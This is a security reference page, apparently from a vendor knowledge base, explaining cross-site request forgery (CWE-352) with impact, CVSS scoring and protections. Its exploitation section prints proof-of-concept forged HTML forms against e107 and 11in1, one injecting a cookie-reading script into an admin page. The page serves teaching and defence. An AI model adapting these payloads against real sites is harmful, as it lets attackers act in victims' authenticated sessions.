- CWE-22: Path Traversal
- CWE-78: OS Command Injection
- CWE-79: Cross-Site Scripting
- CWE-89: SQL Injection
- CWE-90: LDAP Injection
- CWE-91: XML Injection
- CWE-94: Code Injection
- CWE-98: PHP File Inclusion
- CWE-113: HTTP Response Splitting
- CWE-119: Buffer Errors
- CWE-130: Improper Handling of Length Parameter Inconsistency
- CWE-193: Off-by-one Error
- CWE-200: Information Exposure
- CWE-211: Information Exposure Through Externally-Generated Error Message
- CWE-236: Improper Handling of Undefined Parameters
- CWE-276: Incorrect Default Permissions
- CWE-284: Improper Access Control
- CWE-287: Improper Authentication
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-352: Cross-Site Request Forgery
- CWE-384: Session Fixation
- CWE-427: Uncontrolled Search Path Element
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-476: NULL Pointer Dereference
- CWE-601: Open Redirect
- CWE-613: Insufficient Session Expiration
- CWE-618: Exposed Unsafe ActiveX Method
- CWE-671: Lack of Administrator Control over Security
- CWE-822: Untrusted Pointer Dereference
- CWE-835: Infinite Loop
CWE is a trademark of the MITRE Corporation.
Cross-Site Request Forgery [CWE-352]
This weakness describes improper or absent verification of the origin of an HTTP request.
Created: September 11, 2012
Latest Update: August 6, 2015
Table of Content
- Potential impact
- Attack patterns
- Affected software
- Exploitation Examples
- Severity and CVSS Scoring
- Latest Related Security Advisories
Cross-site request forgery (CSRF) is a weakness within a web application which is caused by insufficient or absent verification of the HTTP request origin. Webservers are usually designed to accept all requests and respond to them. If a client sends several HTTP requests within one or several sessions, it is impossible for a webserver to know whether all the requests were intentional, and they are treated as such. An attacker might be able to trick a user into visiting a specially crafted webpage and forge request to the vulnerable application from client's browser.
The following example contains a simple HTML form that is used to leave comments for website owners:
- <form name="tstForm" action="/index.php" method="POST">
- <input type="text" name="sName" value="" />
- <textarea name="sText"></textarea>
- <input type="submit" name="btSubmit" value="Send!">
The above form sends HTTP request to the /index.php script. The index.php script contains the following code:
- $sName = $_POST["sName"];
- $sText = $_POST["sText"];
- If ($sName && $sText && CUser::IsAuthorized())
- CComment::AddComment($sName, $sText);
- Echo "Error";
The above code allows publication of a comment when certain conditions are met. If
$sText variables are not empty and user is authenticated in application, the function
CComment::AddComment will be executed and comment will be published. An attacker can trick victim into visiting a webpage that sends the same request to the application. If the victim is authenticated within this application, the comment will be published too.
2. Potential impact
Almost every web application contains functionality that requires certain privileges. If validation of the request origin is not performed, an unauthenticated user might be able to use this functionality, although exploitation of this vulnerability requires some level of social engineering. Depending on the application functionalities, an attacker might be able to gain access to otherwise restricted areas and perform simple tasks such as publishing comments under user's name, creating administrative accounts or use this weakness as a surface for further attacks.
3. Attack patterns
There are following attack patterns that can leverage cross-site request forgery vulnerability:
- CAPEC-62: Cross Site Request Forgery (aka Session Riding)
- CAPEC-462: Cross-Domain Search Timing
- CAPEC-467: Cross Site Identification
Cross-site request forgery is described under WASC-9 in WASC Threat Classification.
4. Affected software
Any web application that uses external input to perform certain tasks is potentially vulnerable to this weakness.
5. Exploitation Examples
We will demonstrate cross-site request forgery attack against a popular content management system e107. Security advisory HTB23004 (Cross-site Request Forgery in e107) describes a case where software does not validate user input in the "
user_include" HTTP POST parameter, this means that we can inject and execute arbitrary HTML and script code in administrator's browser:
An attacker can create a specially crafted webpage and trick a logged-in administrator into visiting it.
We will use the following PoC code to sumbit a form as an administrator and injects the "
<script>alert(document.cookie)</script>" script that is executed every time administrator visits the vulnerable page:
- <form method="POST" action="http://e107.local/e107_admin/users_extended.php?editext" name=m>
- <input type="hidden" name="user_field" value="abcde1f1">
- <input type="hidden" name="user_text" value="12121">
- <input type="hidden" name="user_type" value="1">
- <input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
- <input type="hidden" name="add_field" value="1">
- <input type="hidden" name="user_parent" value="0">
- <input type="hidden" name="user_required" value="0">
- <input type="hidden" name="user_applicable" value="255">
- <input type="hidden" name="user_read" value="0">
- <input type="hidden" name="user_write" value="253">
- <input type="hidden" name="user_hide" value="0">
- <input type=submit>
HTB23071 security advisory (CVE-2012-0997) is another great example that demonstrates the cross-site request forgery vulnerability. The following code allows an attacker to publish arbitrary articles on the website:
- <form action="http://11in1.local/admin/index.php?class=do&action=addTopic" method="post">
- <input type="hidden" name="name" value="CSRF exploitation example">
- <input type="hidden" name="sec" value="3">
- <input type="hidden" name="content" value="This is CSRF exploitation example.">
- <input type="submit" id="btn">
6. Severity and CVSS Scoring
This weakness should be scored based on the maximum potential impact allowed by application's functionalities. Due to the nature of the vulnerability and its available attack vectors, we recommend scoring the vulnerability as AC:H. Scoring example of vulnerability that allows adding a new administrative user or changing email address of an existing administrator will look like this:
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) - Medium severity.
Vulnerability #3 described in HTB23113 security advisory (CVE-2012-4773) can be used as an example of such scoring.
If actions of an attacker are limited to e.g. adding comments under user's name the vulnerability can be scored as:
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) - Low severity.
Vulnerability #2 described in HTB23071 security advisory - Multiple vulnerabilities in 11in1 (Сross-Site Request Forgery (CSRF) in 11in1: CVE-2012-0997) can be used as an example of such scoring.
We use CVSSv2 scoring system in our HTB Security Advisories to calculate the risk of the discovered vulnerabilities. Not all of the vulnerabilities are scored in strict accordance to FIRST recommendations. Our CVSSv2 scores are based on our long internal experience in software auditing and penetration testing, taking into consideration a lot of practical nuances and details. Therefore, sometimes they may differ from those ones that are recommended by FIRST.
Protection from CSRF is basically built on having a nonce, a cookie or any other unique identifier that could be used to validate the request origin. Unfortunately this defense can be bypassed if application contains a cross-site scripting vulnerability, because it gives an attacker possibility to get knowledge of that unique identifier.
The basic rules to protect application from CSRF are:
- Ensure that your application does not have cross-site scripting vulnerabilities
A cross-site scripting vulnerability can be used by an attacker to steal the security token and use it in an attack against the application. The injected script can interact with page elements, read existing tokens and automatically submit the request.
- Generate a unique token for each entity
It’s strongly recommended to generate a unique time based-identifier for each entity. It should consist of a unique randomly generated string, which can be used within specific timeframe and limited number of times (preferably just once per entity). This approach will limit possibility for a replay attack, if the security token is somehow intercepted. This token should not be based on account information, provided by the user, and should be hard to guess in case of a brute-force attack, e.g. consist of at least 10-20 characters.
- Use CAPTCHA when possible
Although there is a lot of different techniques and software to guess the CAPTCHA word, it still can be used as an additional protection layer against CSRF attacks.
- Identify dangerous operations and always demand confirmation of dangerous actions
Developers should identify dangerous operations and treat them with caution. For example, when changing account password always demand from user to provide his/her old password; if application allows to drop database, confirm this action by demanding an extra password or CAPTCHA for that matter.
- Use protection frameworks
If you are unable to develop proper CSRF protection mechanism or are not sure of its security level, you can also implement existing solutions, such as:
- CWE-352: Cross-Site Request Forgery (CSRF) [cwe.mitre.org]
- Cross-Site Request Forgery (CSRF) [www.owasp.org]
- XSS & CSRF: Practical exploitation of post-authentication vulnerabilities in web applications [www.htbridge.com]
9. Latest HTB Security Advisories with CWE-352
- HTB23300: RCE via CSRF in phpMyFAQ
- HTB23298: Multiple Vulnerabilities in CubeCart
- HTB23293: Remote Code Execution via CSRF in iTop
- HTB23294: Admin Password Reset & RCE via CSRF in Dating Pro
- HTB23272: RCE and SQL injection via CSRF in Horde Groupware
Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to High-Tech Bridge is given.↑ Back to Top